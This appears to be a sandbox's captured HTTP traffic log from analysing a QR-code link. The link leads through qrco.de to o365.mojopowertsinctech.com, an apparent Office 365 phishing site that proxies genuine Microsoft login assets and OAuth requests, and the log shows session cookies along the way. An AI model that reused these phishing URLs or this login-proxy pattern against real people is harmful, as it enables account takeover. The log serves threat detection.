Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-117.0.5938.132Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /beoXnp HTTP/1.1Host: qrco.deConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GFzGHtAX HTTP/1.1Host: o365.mojopowertsinctech.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: o365.mojopowertsinctech.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782
Source: global traffic	HTTP traffic detected: GET /login HTTP/1.1Host: react.mojopowertsinctech.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0 HTTP/1.1Host: o365.mojopowertsinctech.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; fpc=AvPKuGNLYD9LgJAF1cIaerE; esctx=PAQABAAEAAADnfolhJpSnRYB1SVj-Hgd858KrT88DkNzHh_j_4oeI0Gadu5oiJYqolSB6-CRAx4sxztOsyv6yi8cxe3YgzmGmx93ToH44BSztAeaTAGfSPlWBx3MdWNdmRAOLiav-QUsBTJPpOHwvPqT-Vk_UCl6bffP2AHtvIKZIfyuSPi4VvHp-1zUf_28wqxRaxHOBnzQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_GOwG3D936OfJ_-lzWtiHhg2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o365.mojopowertsinctech.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0&sso_reload=true HTTP/1.1Host: o365.mojopowertsinctech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; fpc=AvPKuGNLYD9LgJAF1cIaerE; esctx=PAQABAAEAAADnfolhJpSnRYB1SVj-Hgd858KrT88DkNzHh_j_4oeI0Gadu5oiJYqolSB6-CRAx4sxztOsyv6yi8cxe3YgzmGmx93ToH44BSztAeaTAGfSPlWBx3MdWNdmRAOLiav-QUsBTJPpOHwvPqT-Vk_UCl6bffP2AHtvIKZIfyuSPi4VvHp-1zUf_28wqxRaxHOBnzQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235; esctx-RDP06TKN7yE=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8-Xx06M6aKqvYiEC9giuAyv8vRF77uiGGtn6-vvKhdUouf_4yEcpIMcjJqDLReyNbS7-_n8t5v8aLhe3TmIFeNTSriDvb9ZranXcrPSlk8qKp8NeODuyByJbm1Uw3N_MT-ZiVXb2ruY7FIXzEVfcm9yAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: o365.mojopowertsinctech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o365.mojopowertsinctech.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&ui_locales=en-US&mkt=en-US&client-request-id=9f271058-1d4e-4ca9-b4b7-3f7143f1c7f2&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&x-client-SKU=ID_NET6_0&x-client-ver=7.2.0.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; fpc=AvPKuGNLYD9LgJAF1cIaerE; esctx=PAQABAAEAAADnfolhJpSnRYB1SVj-Hgd858KrT88DkNzHh_j_4oeI0Gadu5oiJYqolSB6-CRAx4sxztOsyv6yi8cxe3YgzmGmx93ToH44BSztAeaTAGfSPlWBx3MdWNdmRAOLiav-QUsBTJPpOHwvPqT-Vk_UCl6bffP2AHtvIKZIfyuSPi4VvHp-1zUf_28wqxRaxHOBnzQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235; esctx-RDP06TKN7yE=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8-Xx06M6aKqvYiEC9giuAyv8vRF77uiGGtn6-vvKhdUouf_4yEcpIMcjJqDLReyNbS7-_n8t5v8aLhe3TmIFeNTSriDvb9ZranXcrPSlk8qKp8NeODuyByJbm1Uw3N_MT-ZiVXb2ruY7FIXzEVfcm9yAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1Host: o365.mojopowertsinctech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; fpc=AvPKuGNLYD9LgJAF1cIaerE; esctx=PAQABAAEAAADnfolhJpSnRYB1SVj-Hgd858KrT88DkNzHh_j_4oeI0Gadu5oiJYqolSB6-CRAx4sxztOsyv6yi8cxe3YgzmGmx93ToH44BSztAeaTAGfSPlWBx3MdWNdmRAOLiav-QUsBTJPpOHwvPqT-Vk_UCl6bffP2AHtvIKZIfyuSPi4VvHp-1zUf_28wqxRaxHOBnzQgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235; esctx-RDP06TKN7yE=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8-Xx06M6aKqvYiEC9giuAyv8vRF77uiGGtn6-vvKhdUouf_4yEcpIMcjJqDLReyNbS7-_n8t5v8aLhe3TmIFeNTSriDvb9ZranXcrPSlk8qKp8NeODuyByJbm1Uw3N_MT-ZiVXb2ruY7FIXzEVfcm9yAA
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o365.mojopowertsinctech.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_bUKAij3pKdw2nFX-oqztYA2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o365.mojopowertsinctech.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_xtex5cpjr0k40urejm0fgg2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o365.mojopowertsinctech.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/0f752fefe334/main.js HTTP/1.1Host: o365.mojopowertsinctech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235; esctx-RDP06TKN7yE=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8-Xx06M6aKqvYiEC9giuAyv8vRF77uiGGtn6-vvKhdUouf_4yEcpIMcjJqDLReyNbS7-_n8t5v8aLhe3TmIFeNTSriDvb9ZranXcrPSlk8qKp8NeODuyByJbm1Uw3N_MT-ZiVXb2ruY7FIXzEVfcm9yAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AXMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd83j5fQMMihdvC7DvrWwIoxFJXIGa4oEHK8LTNShni_jNk9pIKWad0lM0oAl9nay0VVyKWnmLDdTL9JNvXx_IfY7idZeX1zoJQYaDPoxGvCdwgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8zVpp-eKD12_gHEdoyRFwUS95x1mAhgvLFnyf5LqkIsq7eIzkWCyUKGpAiW0qsu-lxPy_br03sqhHAYCxMwdjsau_9vEnKBnc0-gzFzaxM9OII0ONPhbe9kUrN9iTmgVC1RH5dMtunhzcb29ompUHn70qwY12SZ4zad2QuwI9Wh4gAA; esctx-OuDMRE5IfJk=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8b6n3A-rwLfY3fkujECCbSU4ED7nhJbQJTiUTcELQCjXQbpaOenvNdaR8sX69JjCe4aGz_y5GbgUYSc8FpTlIBxM_by-AqLwESFKXk88LKHBFqkN49E4Fgpng_5Ef20OE95c2T_tkzAieJZkV3WHIjSAA; fpc=AvPKuGNLYD9LgJAF1cIaerG8Ae7AAQAAADRvat0OAAAA
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: ywnjb.mojopowertsinctech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; MUID=2CB8A7944ACF6378145EB3BA4B176235
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_88c449fa421fff689c33.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_0462e056de1841aa000f.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: ywnjb.mojopowertsinctech.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; MUID=2CB8A7944ACF6378145EB3BA4B176235; uaid=ca60878750644841849607c8e94c1d38; MSPRequ=id=N&lt=1708685366&co=1
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o365.mojopowertsinctech.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
